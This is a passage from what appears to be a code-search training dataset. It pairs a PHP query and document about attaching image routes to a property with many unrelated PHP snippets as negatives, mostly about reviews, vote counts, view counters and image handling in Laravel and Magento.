$this->collection->increaseTotal($this->data['total']);\n }\n }", "public function reviews()\n\t{\n\t\treturn $this->hasMany(Review::class); \n\t}", "public function getFavoritesCountAttribute()\n {\n return $this->favorites->count();\n }", "public function getFavoritesCountAttribute()\n {\n return $this->favorites->count();\n }", "public function run()\n {\n $courses=\\App\\Course::all();\n foreach ($courses as $course)\n {\n $course->reviews()->attach(4);\n };\n }", "function set_assess_count($pat_id, $ver_num, $ass_id){\n\n\t\t\t/** Fetches the current count of the assessment result of the pattern on the specified version. */\n\t\t\t$current_assess_count = count($this->mAssessResult->get_result_group_by_assessor($pat_id, $ver_num));\n\n\t\t\t/** Sets the current count of assessment result into an data array. */\n\t\t\t$data = array(\n\t\t\t\t'desc_assess_count' => $current_assess_count\n\t\t\t\t);\n\n\t\t\t/** Then, the update_assess_count() function will be called in order to increase by 1. */\n\t\t\t$this->mPatternDesc->update_assess_count($pat_id, (float)$ver_num, $data);\n\n\t\t\t/** Set a pattern data object to update the status of the pattern to assessed. */\n\t\t\t$pat_data = array(\n\t\t\t\t'pattern_id' => $pat_id,\n\t\t\t\t'pattern_status' => 'Assessed'\n\t\t\t\t);\n\n\t\t\t/** Perform the update process of the pattern. */\n\t\t\t$this->mPattern->update_pattern($pat_data);\n\t\t}", "public function postAction(){\n $return_result = array(\n 'code'=> 0,\n 'model'=> null,\n );\n $params = $this->postJsonParams();\n $product_id = $params('product_id');\n\n if ($data = Mage::getSingleton('review/session')->getFormData(true)) {\n $rating = array();\n if (isset($data['ratings']) && is_array($data['ratings'])) {\n $rating = $data['ratings'];\n }\n } else {\n $data = $params;\n $rating = isset($params['ratings'])?$params['ratings']:array();\n }\n $product = Mage::getModel('catalog/product')->setStoreId(Mage::app()->getStore()->getId())->load($product_id);\n if (($product) && !empty($data)) {\n $session = Mage::getSingleton('core/session');\n /* @var $session Mage_Core_Model_Session */\n $review = Mage::getModel('review/review')->setData($data);\n /* @var $review Mage_Review_Model_Review */\n $validate = $review->validate();\n if ($validate === true) {\n try {\n $review->setEntityId($review->getEntityIdByCode(Mage_Review_Model_Review::ENTITY_PRODUCT_CODE))\n ->setEntityPkValue($product->getId())\n ->setStatusId(Mage_Review_Model_Review::STATUS_PENDING)\n ->setCustomerId(Mage::getSingleton('customer/session')->getCustomerId())\n ->setStoreId(Mage::app()->getStore()->getId())\n ->setStores(array(Mage::app()->getStore()->getId()))\n ->save();\n foreach ($rating as $ratingId => $optionId) {\n Mage::getModel('rating/rating')\n ->setRatingId($ratingId)\n ->setReviewId($review->getId())\n ->setCustomerId(Mage::getSingleton('customer/session')->getCustomerId())\n ->addOptionVote($optionId, $product->getId());\n }\n $review->aggregate();\n $return_result['message'] = 'Your review has been accepted for moderation.';\n }\n catch (Exception $e) {\n $return_result['code'] = 1;\n $return_result['error'] = 'Unable to post the review.';\n }\n }\n else {\n $session->setFormData($data);\n if (is_array($validate)) {\n foreach ($validate as $errorMessage) {\n $return_result['error'] = $errorMessage;\n }\n }\n else {\n $return_result['error'] = 'Unable to post the review.';\n }\n }\n }\n echo json_encode($return_result);\n }", "public function rating()\n {\n return $this->hasOne('App\\Review')\n ->selectRaw('user_id, count(*) as count, avg(would_recommend) as avg, avg(communication) as communication, avg(as_described) as as_described')\n ->groupBy('user_id');\n }", "public function total(){\n $total = $this->qualification + $this->referee_report + $this->interview;\n }", "public function reviews(){\n return $this->hasMany('App\\Models\\Review');\n }", "public function getTotalVoterCount(): int\n {\n return $this->totalVoterCount;\n }", "function add_vote_review($review_id, $agree, $member_id){\r\n // Prepare data\r\n $vote_review_data = array();\r\n $vote_review_data['vote_review_review_id'] = $review_id;\r\n $vote_review_data['vote_review_agree'] = $agree;\r\n $vote_review_data['vote_review_member_id'] = $member_id;\r\n \r\n // Add\r\n $add_result = $this->add($vote_review_data);\r\n return $add_result;\r\n }", "public function getFavoriteCountAttribute()\n\t{\n\t\treturn $this->favoriteCounter ? $this->favoriteCounter->count : 0;\n\t}", "public function setProductItemCounts($val)\n {\n $this->_propDict[\"productItemCounts\"] = $val;\n return $this;\n }", "public function increment() {\n $this->countAnswered++;\n }", "public function updateviewcount($product_id=0)\n { \n if(isset($product_id) &&($product_id>0))\n {\n $this->db->where('product_id', $product_id);\n $this->db->set('view_count', 'view_count+1', FALSE);\n $this->db->update('product');\n }\n }", "public function getTotalClickCountAttribute(): int\n {\n return (int)$this->clicks()->sum('click_count');\n }", "function countHit() {\n\n $this->saveField('hits', $this->data['Ringsite']['hits']+1, false);\n }", "public function total(): int\n {\n return count($this->all());\n }", "private function recountModelVotes($model){\n $model->load('votes');\n\n $downVotes = (int) $model->downVotes()->sum('vote');\n $upVotes = (int) $model->upVotes()->sum('vote');\n\n $model->votes_count = $upVotes + $downVotes;\n $model->save();\n }", "public function getFavoriteCountAttribute()\n {\n return $this->favoriteCounter ? $this->favoriteCounter->count : 0;\n }", "public function add_review_rating(Request $request){\n $data = $request->all();\n\n return BookReview::create($data);\n }", "public function addReview(Request $request)\n {\n $userid = session('userid');\n $hotelid = $request->input('hotelid');\n\n // chỉ cho phép người dùng thêm review khi người đó đã từng đặt phòng khách sạn\n $booking = Book::getBook($userid, $hotelid);\n if (empty($booking))\n {\n $result['success'] = false;\n return json_encode($result);\n }\n\n $review = $request->input('review');\n $date = date('Y-m-d');\n $location = $request->input('location');\n $room = $request->input('room');\n $service = $request->input('service');\n $cleaness = $request->input('cleaness');\n $value = $request->input('value');\n $comfort = $request->input('comfort');\n $equipment = $request->input('equipment');\n $hotel = $request->input('hotel');\n $meal = $request->input('meal');\n $avg_rating = number_format(($location + $room + $service + $cleaness + $value +$comfort + $equipment + $hotel + $meal) / 9, 1);\n // them review\n Review::addReview($userid, $hotelid, $review, $date, $location, $room, $service, $cleaness, $value, $comfort, $equipment, $hotel, $meal, $avg_rating);\n\n // cap nhat khach san\n $ht = Hotel::find($hotelid);\n $old_number_rate = $ht->number_of_rate;\n $old_rate = $ht->rate;\n $new_rate = number_format(($old_rate * $old_number_rate + $avg_rating) / ($old_number_rate + 1), 1);\n $ht->rate = $new_rate;\n $ht->number_of_rate = $old_number_rate + 1;\n $ht->save();\n\n $result['success'] = true;\n return Response::json($result);\n }", "public function count_reviews($fields = NULL)\n\t{\n\t\t$this->filter_results($fields);\n\t\treturn $this->db->count_all_results('reviews');\n\t}", "private function setEnableReviews() {\n $this->product->set_reviews_allowed($this->wcData->isEnableReviews());\n }", "public function testProfilePrototypeUpdateByIdReviews()\n {\n\n }", "public function voteQuestion(Question $question,$vote){\n $votesQuestions = $this->voteQuestions();\n $this->_vote($votesQuestions,$question,$vote);\n // if($votesQuestions->where('votable_id',$question->id)->exists()){\n // $votesQuestions->updateExistingPivot($question,['vote'=>$vote]);\n // }else{\n // $votesQuestions->attach($question,['vote'=>$vote]);\n // }\n // // in order to calculate the votes_count first refresh the relationship\n // $this->load('voteQuestions');\n\n // $voteDown = (int) $question->downVote()->sum('vote');\n // $voteUp = (int) $question->upVote()->sum('vote');\n\n // $voteTotal = $voteDown + $voteUp;\n // $question->votes_count = $voteTotal;\n // $question->save();\n}", "function getTotalGrantsApplied() {\n\t\treturn $this->getMovieCount();\n\t}", "public function setTotalVoterCount(int $totalVoterCount): void\n {\n $this->totalVoterCount = $totalVoterCount;\n }", "public function totalCount();", "public function totalCount();", "public function getCommentsCountAttribute()\n {\n // if relation is not loaded already, let's do it first\n if ( ! array_key_exists('commentsCount', $this->relations) )\n {\n $this->load('commentsCount');\n }\n\n $related = $this->getRelation('commentsCount');\n\n // then return the count directly\n return ($related) ? (int) $related->aggregate : 0;\n }", "public function getReviews()\n {\n return $this->hasMany(Review::className(), ['callId' => 'callId']);\n }", "public function count(): int\n {\n return count($this->collection);\n }", "public function setTotalItems(int $totalItems): self;", "protected function fetchTotalCount()\n {\n //get total if fetching a list\n $this->main_model_obj = new $this->main_model();\n $total_builder = $this->main_model_obj->getModelsManager()->createBuilder()\n ->columns(['COUNT(1) AS total'])\n ->from($this->main_model);\n\n $this->formJoinsUsingFilters($total_builder);\n $this->formConditions($total_builder);\n\n $result_obj = $total_builder->getQuery()->getSingleResult();\n $this->total_count = (empty($result_obj['total'])) ? 0 : $result_obj['total'];\n }", "public function getTotalVotes()\n\t{\n\t\treturn $this->ratings['total.votes'];\n\t}", "public static function render_total_favorite_users( $property_id ) {\n echo Realia_Template_Loader::load( 'misc/favorites-total', array( 'property_id' => $property_id ), $plugin_dir = APUSREALIAFAVORITES_PLUGIN_DIR );\n }", "function setCount( $value )\n {\n if ( $this->State_ == \"Dirty\" )\n $this->get( $this->ID );\n\n $this->Count = $value;\n setType( $this->Count, \"integer\" );\n }", "public function incResponseCount()\n {\n $incResponse = (int) $this->attribute( 'response_count' );\n $incResponse++;\n $this->setAttribute( 'response_count', $incResponse );\n $this->store();\n }", "public function test_make_a_review()\n {\n $user = User::factory()->create();\n $film = Film::factory()->create();\n\n $response = $this->actingAs($user)->get(\"/review/{$film->id}\");\n $response->assertStatus(200);\n\n $response = $this->actingAs($user)->post(\"/review/{$film->id}\", [\"rate\" => 10]);\n $this->assertTrue($user->refresh()->reviews()->where(\"film_id\", $film->id)->first() !== null);\n }", "public function reviews()\n {\n return $this->hasMany(Review::class, 'user_id');\n }", "public function reviews()\n {\n try {\n //init\n $input = Input::all();\n $current = date('Y-m-d H:i:s');\n if (!empty($input['review']) && !empty($input['rating']) && !empty($input['show_id'])) {\n DB::table('show_reviews')->insert([\n 'show_id' => $input['show_id'],\n 'user_id' => Auth::user()->id,\n 'rating' => $input['rating'],\n 'review' => $input['review'],\n 'created' => $current,\n 'updated' => $current\n ]);\n $posts = DB::table('show_reviews')->where('show_id', $input['show_id'])->groupBy('show_id')->count();\n return ['success' => true, 'posts' => $posts, 'msg' => 'Review posted successfully!'];\n }\n return ['success' => false, 'msg' => 'You must fill out the form correctly.'];\n } catch (Exception $ex) {\n return ['success' => false, 'msg' => 'There is an error posting your reviews. Please, contact us.'];\n }\n }", "public function update(Request $request, reviews $reviews)\n {\n //\n }", "function update_counter($post_id) {\n $this->db->where('id', urldecode($post_id));\n $this->db->select('views_count');\n $count = $this->db->get('tb_posts')->row();\n // then increase by one\n $this->db->where('id', urldecode($post_id));\n $this->db->set('views_count', ($count->views_count + 1));\n $this->db->update('tb_posts');\n }" ]
[ "0.6058389", "0.60511565", "0.6050394", "0.60294324", "0.59756404", "0.5807854", "0.57304347", "0.5450064", "0.5387524", "0.53737265", "0.53614694", "0.53075135", "0.5285351", "0.52675587", "0.5261194", "0.5230221", "0.52133733", "0.5199933", "0.5183468", "0.51664454", "0.5156514", "0.51350516", "0.50541914", "0.50409484", "0.50366855", "0.50302345", "0.5003062", "0.50001335", "0.4989575", "0.4970692", "0.49693742", "0.49689534", "0.49652308", "0.49627164", "0.49470937", "0.4941503", "0.49225387", "0.49225387", "0.49169335", "0.49132738", "0.4905564", "0.4893163", "0.4893163", "0.4893163", "0.4893163", "0.4893163", "0.48692507", "0.4866891", "0.4866041", "0.48582393", "0.48437408", "0.48355076", "0.48325035", "0.48189083", "0.4815555", "0.4803992", "0.47970688", "0.47768196", "0.47768196", "0.47678182", "0.475841", "0.47558603", "0.47443688", "0.4735298", "0.47305456", "0.47256055", "0.47253987", "0.47199354", "0.47083455", "0.46687102", "0.4655787", "0.46542394", "0.46474472", "0.4646852", "0.46453628", "0.46421766", "0.46418458", "0.4641831", "0.46389142", "0.46342385", "0.46329477", "0.4630601", "0.46266082", "0.46217057", "0.4620629", "0.4620629", "0.46169382", "0.46141908", "0.46087742", "0.4606979", "0.46050775", "0.4600993", "0.45980453", "0.45967346", "0.45945972", "0.4592816", "0.45883426", "0.45772302", "0.45743528", "0.4573417" ]
0.6973338
0
Attach image routes to property.
public function ImageRoutes() { $routes = []; foreach ($this->images as $image) { $routes[] = '/' . env('PROPERTY_IMAGE_DISK') . '/' . $image->filepath; } if (count($routes) == 0) { $routes[] = '/imgs/default_image.png'; } $this->image_routes = $routes; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function images()\n {\n return $this->hasMany(PropertyImage::class,'property_id', 'id');\n }", "public function add_rewrite_rule() {\n\t\t\tadd_rewrite_rule(\n\t\t\t\t'photo/([a-z0-9-_]+)/?', // ([^/]+)\n\t\t\t\t'index.php?attachment=$matches[1]',\n\t\t\t\t'top'\n\t\t\t);\n\t\t}", "public function images()\n {\n return $this->HasMany('App\\Models\\Properties\\Image')->orderBy('index', 'asc');\n }", "public function add_image() {\n\t $this->use_layout=false;\n\t $this->page = new $this->model_class(Request::get('id'));\n\t\t$this->join_name = \"images\";\n\t if(Request::post(\"id\")) {\n\t\t $this->image = new WildfireFile(Request::post('id'));\n\t\t $this->image->join_order = Request::post('order');\n\t\t $this->page->images = $this->image;\n\t }\n\t}", "public function getPhotoRouteAttribute()\n\t{\n\t\t\n\t\tif($this->imagen)\n\t\t{\n\t\t\treturn 'data:image/jpg; base64 ,'.(base64_encode($this->imagen));\n\t\t}\n\t\t\t\n\t\t//dd('ima/users/male.jpg');\n\t\n\t\treturn (asset('img/users/default.bin'));\n\t\t\n\t}", "public function __construct()\n {\n foreach ($this as $key => $property)\n if (is_array($property) && isset($property['path']))\n $this->{$key}['path'] = VPATH . $property['path'] . EXT;\n }", "function Utilities_Image(){\n\t\t// $this->$imageAsset = $img;\t\t\n\t}", "protected function assignImageProperties($properties) {\n foreach ( $properties as $property => $value ) {\n if (! isset($this->$property) || is_null($this->$property)) {\n $this->$property = $value;\n }\n }\n }", "private function updatePaths(&$properties, $collection) {\r\n \r\n /*\r\n * Update dynamically metadata, quicklook and thumbnail path if required before the replaceInTemplate\r\n */\r\n if (method_exists($collection->model,'generateMetadataPath')) {\r\n $properties['metadata'] = $collection->model->generateMetadataPath($properties);\r\n }\r\n\r\n if (method_exists($collection->model,'generateQuicklookPath')) {\r\n $properties['quicklook'] = $collection->model->generateQuicklookPath($properties);\r\n }\r\n\r\n if (method_exists($collection->model,'generateThumbnailPath')) {\r\n $properties['thumbnail'] = $collection->model->generateThumbnailPath($properties);\r\n }\r\n \r\n if (method_exists($collection->model,'generateDownloadUrl')) {\r\n $properties['resource'] = $collection->model->generateDownloadUrl($properties);\r\n }\r\n \r\n if (method_exists($collection->model,'generateWMSUrl')) {\r\n $properties['wms'] = $collection->model->generateWMSUrl($properties);\r\n }\r\n \r\n /*\r\n * Modify properties as defined in collection propertiesMapping associative array\r\n */\r\n if (isset($collection->propertiesMapping)) {\r\n $_properties = $properties;\r\n foreach (array_keys($collection->propertiesMapping) as $key) {\r\n $properties[$key] = $this->replaceInTemplate($collection->propertiesMapping[$key], $_properties);\r\n }\r\n }\r\n \r\n }", "public function setImages(){\n\t\t// imagen destacada\n $this->thumbail_img = $this->getThumbnailImg();\n // imagenes\n $this->images = $this->getImages();\n\t}", "public function setImage($image)\n{\n$this->image = $image;\n\nreturn $this;\n}", "function _putimages() {\n parent::_putimages();\n $this->_putformxobjects();\n }", "public function configure()\n {\n return $this->afterMaking(function (Product $product) {\n //\n })->afterCreating(function (Product $product) {\n if ($product->images()->count()) {\n $product->cover()->associate($product->images()->first());\n $product->save();\n }\n });\n }", "public function registerMediaCollections() {\n $this->addMediaCollection('image')->singleFile();\n }", "public function register_rest_episode_images() {\n\t\tregister_rest_field(\n\t\t\tssp_post_types(),\n\t\t\t'episode_featured_image',\n\t\t\tarray(\n\t\t\t\t'get_callback' => array( $this, 'get_rest_featured_image' ),\n\t\t\t\t'update_callback' => null,\n\t\t\t\t'schema' => null,\n\t\t\t)\n\t\t);\n\t}", "function setImage($image) {\n\t\t$this->_image = $image;\n\t}", "function setVakoImage($object) { \n /* you can itentify the item with $object->Item->ShopId */ \n /* you can itentify the vako with $object->reference->ShopId */ \n}", "public function registerMediaCollections()\n {\n $this->addMediaCollection('image')->singleFile();\n }", "public function add_image( &$data ) {\n\t\tif ( $this->context->has_image ) {\n\t\t\t$data['primaryImageOfPage'] = [ '@id' => $this->context->canonical . WPSEO_Schema_IDs::PRIMARY_IMAGE_HASH ];\n\t\t}\n\t}", "public function images(): AdminApi\n {\n return $this->setResource(Image::class);\n }", "public function images()\n {\n return $this->hasMany('App\\Image', 'restaurant_id');\n }", "function imageUrl($property, $size = null);", "public function setImageResource($image)\n {\n $this->image = $image;\n }", "function TS_VCSC_Add_Posts_Image_Lean() {\r\n\t\t\t\tvc_lean_map('TS_VCSC_Posts_Image_Grid_Standalone',\t\t\tarray($this, 'TS_VCSC_Add_Posts_Image_Elements'), null);\r\n\t\t\t}", "function setArticleImage($object) { \n /* you can itentify the item with $object->Item->ShopId */ \n /* you can itentify the article with $object->reference->ShopId */ \n}", "function add_rewrite_rules() {\n\n\tadd_rewrite_tag( '%image%', '([^/]*)');\n\n\tadd_rewrite_rule('^gallery/([^/]*)/([^/]*)/?$', 'index.php?gallery=$matches[1]&image=$matches[2]', 'top');\n}", "public function image()\n {\n\n return $this->hasMany(ProductImage::class);\n \n }", "public function images()\n {\n // Fetch all properties existing in the database\n $image = Image::all();\n\n // return list of properties;\n return $image;\n\n }", "protected function bindImage($image, $post){\n\n $this->uploader->upload($image, config('image.postsDESTINATION'))->save(config('image.postsDESTINATION'));\n\n $picture = Picture::create(['path' => $this->uploader->getFilename()]);\n\n $post->picture()->attach($picture);\n }", "private function _getPathsForUrl($image)\n {\n $convertedImageStr = StringHelper::asciiString(urldecode($image));\n $urlParts = parse_url($convertedImageStr);\n $pathParts = pathinfo($urlParts['path']);\n $hashRemoteUrl = craft()->imager->getSetting('hashRemoteUrl');\n $hashPath = craft()->imager->getSetting('hashPath');\n \n if ($hashPath) {\n $targetFolder = '/' . md5($pathParts['dirname']);\n } else {\n $targetFolder = $pathParts['dirname'];\n }\n\n if ($hashRemoteUrl) {\n if (is_string($hashRemoteUrl) && $hashRemoteUrl == 'host') {\n $parsedDirname = substr(md5($urlParts['host']), 0, 10) . $targetFolder;\n } else {\n $parsedDirname = md5($urlParts['host'] . $pathParts['dirname']);\n }\n } else {\n $parsedDirname = str_replace('.', '_', $urlParts['host']) . $targetFolder;\n }\n\n $runtimePath = IOHelper::getRealPath(craft()->path->getRuntimePath());\n $this->sourcePath = ImagerService::fixSlashes($runtimePath . 'imager/' . $parsedDirname . '/');\n $this->sourceUrl = $image;\n $this->targetPath = ImagerService::fixSlashes(craft()->imager->getSetting('imagerSystemPath') . $parsedDirname . '/');\n $this->targetUrl = craft()->imager->getSetting('imagerUrl') . $parsedDirname . '/';\n $this->sourceFilename = $this->targetFilename = str_replace(' ', '-', $pathParts['basename']);\n \n // check if the temp path for remote files exists or can be created.\n if (!IOHelper::getRealPath($this->sourcePath)) {\n IOHelper::createFolder($this->sourcePath, craft()->config->get('defaultFolderPermissions'), true);\n\n if (!IOHelper::getRealPath($this->sourcePath)) {\n $msg = Craft::t('Temp folder “{sourcePath}” does not exist and could not be created', array('sourcePath' => $this->sourcePath));\n \n if (craft()->imager->getSetting('suppressExceptions')===true) {\n ImagerPlugin::log($msg, LogLevel::Error);\n return null;\n } else {\n throw new Exception($msg);\n }\n }\n }\n\n // check if the file is already downloaded\n if (!IOHelper::fileExists($this->sourcePath . $this->sourceFilename) ||\n ((craft()->imager->getSetting('cacheDurationRemoteFiles') !== false) && (IOHelper::getLastTimeModified($this->sourcePath . $this->sourceFilename)->format('U') + craft()->imager->getSetting('cacheDurationRemoteFiles') < time()))\n ) {\n $this->_downloadFile($this->sourcePath . $this->sourceFilename, $image);\n\n if (!IOHelper::fileExists($this->sourcePath . $this->sourceFilename)) {\n $msg = Craft::t('File could not be downloaded and saved to “{sourcePath}”', array('sourcePath' => $this->sourcePath));\n \n if (craft()->imager->getSetting('suppressExceptions')===true) {\n ImagerPlugin::log($msg, LogLevel::Error);\n } else {\n throw new Exception($msg);\n }\n }\n }\n }", "public function getLinkAttribute ()\n {\n return asset($this->path.$this->image);\n }", "public function routeAssets() {\n\t\t$url = $this->config->getRequired('assets.url');\n\t\t//add a slash if the given url doesn't start or end with one\n\t\tif(substr($url, 0, 1) !== '/') {\n\t\t\t$url = '/' . $url;\n\t\t}\n\t\tif(substr($url, -1, 1) !== '/') {\n\t\t\t$url .= '/';\n\t\t}\n\t\t$url = $url . ':asset';\n\t\t$route = new Route($url);\n\t\t$route->controller('\\\\Neptune\\\\Controller\\\\AssetsController')\n\t\t\t ->method('serveAsset')\n\t\t\t ->format('any')\n\t\t\t ->argsRegex('.+');\n\t\t$this->routes[$url] = $route;\n\t\t$this->names['neptune.assets'] = $url;\n\t\treturn $this->routes[$url];\n\t}", "public function addPosterImage($image)\n {\n $this->zModel->poster = $this->webDir . $image;\n }", "public function images()\n {\n return $this->morphMany('App\\Attachment', 'viewable');\n }", "public function store(PropertyRequest $request)\n {\n $property=Property::create([\n 'cost'=>$request->cost,\n 'type_id'=>$request->type,\n 'reference'=>$request->reference,\n 'room'=>$request->room,\n 'bathroom'=>$request->bathroom,\n 'map'=>$request->map,\n 'user_id'=>Auth::user()->id,\n 'region_id'=>$request->region,\n 'area'=>$request->area,\n 'type'=>$request->display\n ]);\n $propertyId=$property->id;\n PropertyDescription::create([\n 'name'=>$request->descEn,\n 'lang'=>'en',\n 'property_id'=>$propertyId\n ]);\n PropertyDescription::create([\n 'name'=>$request->descAr,\n 'lang'=>'ar',\n 'property_id'=>$propertyId\n ]);\n PropertyHeader::create([\n 'name'=>$request->headerEn,\n 'lang'=>'en',\n 'property_id'=>$propertyId\n ]);\n PropertyHeader::create([\n 'name'=>$request->headerAr,\n 'lang'=>'ar',\n 'property_id'=>$propertyId\n ]);\n PropertyLabel::create([\n 'name'=>$request->labelEn,\n 'lang'=>'en',\n 'property_id'=>$propertyId\n ]);\n PropertyLabel::create([\n 'name'=>$request->labelAr,\n 'lang'=>'ar',\n 'property_id'=>$propertyId\n ]);\n $packages=Input::get('feature');\n $property->feature()->attach($packages);\n $destinationPath=\"uploads/\";\n if($files=$request->file('Images'))\n {\n \tforeach($files as $file)\n {\n \t $name=$file->getClientOriginalName();\n \t $file->move($destinationPath,$file->getClientOriginalName());\n \t $img=new PropertyImage;\n \t $img->property_id=$propertyId;\n \t $img->path=$destinationPath.$file->getClientOriginalName();\n \t $img->save();\n \t}\n }\n\n return redirect()->route('property.index');\n }", "private function setRoutes() : void\n {\n $this->routes = $this->routeProvider->getRoutes();\n $this->syRouteCollection = new RouteCollection();\n foreach ($this->routes as $route) {\n $syRoute = new SymfonyRoute(\n $route->getPath(),\n $route->getParamsDefaults(),\n $route->getParamsRequirements(),\n [],\n '',\n [],\n $route->getMethods()\n );\n $this->syRouteCollection->add($route->getName(), $syRoute);\n }\n }", "protected function register_rewrite_endpoints() {\n\t\tif ( ! empty( $this->endpoints ) ) {\n\t\t\tforeach ( $this->endpoints as $slug => $arr ) {\n\t\t\t\tadd_rewrite_endpoint( $slug, $arr['type'] );\n\t\t\t}\n\t\t}\n\t}", "public function create()\n {\n $prop = Property::all('id','property_name');\n return view('properties.images',compact('prop'));\n }", "public function image()\n {\n return $this->hasMany('App\\Models\\Image');\n }", "public static function bootImageableTrait()\n {\n /* morphMap for Image model */\n Relation::morphMap([\n static::getImagableMorphKey() => static::class,\n ]);\n }", "public function configureRoutes(RouteCollection $collection) {\n parent::configureRoutes($collection);\n $collection\n ->remove('create')\n ->add('take','{objectId}/take');\n }", "public function get_image_link()\n {\n }", "function imageSave($property, UploadedFile $file);", "public function store(PropertyRequest $request)\n {\n $facilities = Facility::all();\n $createProperty = Property::create($request->all());\n\n $createProperty->setSlug();\n\n $arrayNewFacilities = array();\n\n foreach($facilities as $fac) {\n if(array_key_exists($fac->description, $request->all())) {\n $arrayNewFacilities[] = $fac->id;\n }\n }\n\n $createProperty->facilities()->attach($arrayNewFacilities);\n\n $validator = Validator::make($request->only('files'), ['files.*' => 'image']);\n\n if($validator->fails() === true) {\n return redirect()->back()->withInput()->with(['color' => 'orange', 'message' => 'Todas as imagens devem ser do tipo jpg, jpeg ou png']);\n }\n\n if($request->allFiles()) {\n foreach($request->allFiles()['files'] as $image) {\n $propertyImage = new PropertyImage();\n $propertyImage->property = $createProperty->id;\n $propertyImage->path = $image->storeAs('properties/' . $createProperty->id, str_slug($request->title) . '-' . str_replace('.', '', microtime(true)) . '.' . $image->extension());\n $propertyImage->save();\n unset($propertyImage);\n }\n }\n\n return redirect()->route('admin.properties.edit', [\n 'property' => $createProperty->id\n ])->with([\n 'color' => 'green',\n 'message' => 'Imóvel cadastrado com sucesso!'\n ]);\n }", "public function addEndpoints()\n {\n foreach ($this->endpoints as $endpoint) {\n add_rewrite_endpoint(pll__($endpoint), EP_ROOT | EP_PAGES);\n }\n }", "public function images()\n\t{\n //return $this->hasMany('App\\Image', 'hero_image');\n return $this->belongsToMany('App\\Image','hero_image');\n }", "protected function setUpRoutes()\n {\n parent::setUpRoutes();\n $this->setRoutes([\n 'createInvitationLink' => 'private/product-reviews/business-units/{businessUnitId}/invitation-links?token={token}',\n 'findPrivate' => 'private/product-reviews/business-units/{businessUnitId}/reviews?token={token}'\n ]);\n }", "public function getPhotoUrlAttribute()\n {\n return asset(env('FRONTEND_IMAGES_PATH') . $this->image);\n }", "public function setImageAttribute($value)\n {\n $img_name = time().uniqid().'.'.$value->getClientOriginalExtension();\n $value->move(public_path('/shops/'),$img_name);\n $this->attributes['image'] = $img_name ;\n }", "protected function defineRoutes()\n {\n $this->register(ImageServiceProvider::class);\n if (! $this->app->routesAreCached()) {\n $router = app('router');\n $router->group([\n 'namespace' => 'Socieboy\\Jupiter\\Http\\Controllers',\n 'middleware' => 'web',\n ], function ($router) {\n require __DIR__.'/../Http/routes.php';\n });\n }\n }", "function imageSaveFile($property, \\SplFileInfo $file);", "public function setImage($image)\r\n {\r\n $this->image = $image;\r\n }", "public function getDestinationPathAttribute()\n {\n return 'images/users/';\n }", "public function images(): HasManyThrough\n {\n return $this->hasManyThrough(\n Image::class,\n File::class\n );\n }", "public function index()\n {\n return ImageResource::collection(Image::all());\n }", "public function register_routes() {\n # GET/POST /products\n $routes[$this->base] = array(\n array( array( $this, 'get_products' ), WC_API_Server::READABLE ),\n array( array( $this, 'create_product' ), WC_API_SERVER::CREATABLE | WC_API_Server::ACCEPT_DATA ),\n );\n }", "function imageReset($property);", "public function productImage(){\n\t\treturn $this->hasmany('App\\ProductImages','product_id');\n\t}", "public function addImage(ImageMedia $image);", "protected function configureRoutes(RouteCollectionInterface $collection): void\n {\n parent::configureRoutes($collection);\n $collection\n ->remove('delete')\n ->add('download', $this->getRouterIdParameter().'/download')\n ;\n }", "public function photos()\n {\n return $this->morphToMany(\n 'App\\RentalManager\\AddOns\\Photo', // model\n 'node', // node\n 'photo_node', // table\n 'node_id',\n 'photo_id'\n );\n }", "public function setPhotosAttribute($value)\n {\n $attribute_name = \"photos\";\n $disk = \"public_folder\";\n $destination_path = \"uploads/albums\";\n $album_originalName = $_POST['name'];\n // ******** Generate unique album name ********\n $album_name = md5( $album_originalName . time() );\n \n foreach ( $value as $file ) {\n // 0. Generate new size file\n $image = \\Image::make( $file );\n $image_350 = \\Image::make( $file ) -> widen( 350 );\n \n // 1. Generate new file names\n $new_file_name = md5( $file -> getClientOriginalName() . time() ).'.'.$file->getClientOriginalExtension();\n $new_file_name_350 = md5( $file -> getClientOriginalName() . time() ).'_350.'.$file->getClientOriginalExtension();\n \n // 2. Move new files to the correct path\n $file_path = $destination_path . '/' . $album_name . '/' . $new_file_name;\n $file_path_350 = $destination_path . '/' . $album_name . '/' . $new_file_name_350;\n \\Storage::disk( $disk )->put( $file_path, $image -> stream() );\n \\Storage::disk( $disk )->put( $file_path_350, $image_350 -> stream() );\n \n // 3. Add the public path to the database\n $attribute_value[] = [ $file_path, $file_path_350 ];\n }\n $this->attributes[$attribute_name] = str_replace( '\\\\', '', json_encode($attribute_value) );\n }", "private function loadImages(): void\n {\n if (count($this->images) == 1) {\n $this->addMeta('image', $this->images[0]);\n\n return;\n }\n\n foreach ($this->images as $number => $url) {\n $this->addMeta(\"image{$number}\", $url);\n }\n }", "public function getPhotoLinkAttribute()\n {\n return $this->attributes['photo_link'] = ($this->photo)?Storage::disk('public')->url($this->photo):config('values.noPhoto');\n }", "public function addPhotoAction(){\n $data = $this->getRequestData();\n $types = array('activity', 'operation', 'people');\n if(isset($data['photo']['name']) && isset($data['photo']['content']) && isset($data['type']) && in_array($data['type'], $types)){\n $user = Object_User::getById($this->getDeviceSession()->getUserId());\n $folder = Asset_Folder::getByPath('/images/'.$data['type'].'/'.$user->getKey().'-'.$data['type']);\n if (!$folder) {\n switch($data['type']){\n case 'activity':\n $fid = 3;\n break;\n case 'operation':\n $fid = 4;\n break;\n case 'people':\n $fid = 7;\n break;\n }\n $folder = new Object_Folder();\n $folder->setKey($user->getKey() . \"-\" . $data['type']);\n $folder->setParentId($fid);\n $folder->save();\n }\n\n $asset = new Asset_Image();\n $asset->setCreationDate(time());\n $asset->setUserOwner(1);\n $asset->setUserModification(1);\n $asset->setParentId($folder->getId());\n $asset->setFilename(Pimcore_File::getValidFilename($data['name'] . \"-\" . time()));\n $asset->setData(base64_decode($data['content']));\n if(!$asset->save()){\n $this->setErrorResponse('cannot save photo!');\n }\n } else {\n $this->setErrorResponse('photo and type is mandatory for this request!');\n }\n\n $this->_helper->json(array('photo' => $asset->getId()));\n }", "public function setImage($image)\n {\n $this->image = $image;\n }", "public function setImage($image) {\n\t\t$this->image = $image;\n\t}", "protected function setProperties()\n {\n $this->fileName = \"routes.json\";\n }", "public function getImage()\n{\nreturn $this->image;\n}", "public function index()\n {\n $propimg = Images::all();\n return view('properties.display',compact('propimg'));\n }", "public function syncImages() {\r\n\r\n /** @var Mage_Catalog_Helper_Product_Flat $helper */\r\n $process = 